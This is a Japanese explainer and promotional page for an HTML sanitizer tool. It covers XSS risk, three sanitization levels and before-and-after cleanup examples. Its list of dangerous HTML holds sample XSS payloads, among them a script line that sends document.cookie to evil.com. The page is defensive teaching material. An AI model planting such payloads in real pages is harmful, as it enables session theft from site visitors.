なぜHTMLサニタイズが必要なのか
Webアプリケーションでユーザー入力をそのまま表示すると、XSS(クロスサイトスクリプティング)攻撃のリスクがあります。OWASP Top 10でも常に上位にランクインする深刻な脆弱性です。
危険なHTMLの例
// 悪意のあるHTML例
<img src="x" onerror="alert('XSS')">
<a href="javascript:document.cookie">Click</a>
<script>fetch('https://evil.com?c='+document.cookie)</script>
3段階サニタイズレベル
| レベル | 除去対象 | 推奨用途 |
|---|---|---|
| strict | script, イベントハンドラ, style, iframe, object, embed, form | ユーザー投稿コンテンツ |
| moderate | script, イベントハンドラ, javascript: URL | CMS・ブログ記事 |
| light | scriptタグ, javascript: URL | 信頼できるソースの整形 |
サニタイズの実例
入力(危険なHTML)
<p onclick="alert('xss')">こんにちは</p>
<img src="x" onerror="steal()">
<a href="javascript:void(0)">リンク</a>
出力(安全なHTML - strictモード)
<p>こんにちは</p>
<img src="x">
<a>リンク</a>
開発者が使うべきシーン
- フォーム入力の検証:ユーザーが入力したHTMLを安全に表示する前処理
- リッチテキストエディタ:WYSIWYGエディタの出力をクリーンアップ
- メール配信:HTMLメールテンプレートの安全性を確認
- API連携:外部APIから取得したHTMLを安全に表示
- CMS移行:旧CMSの汚いHTMLをクリーンに変換
HTMLサニタイザーを今すぐ使う
HTMLをサニタイズ →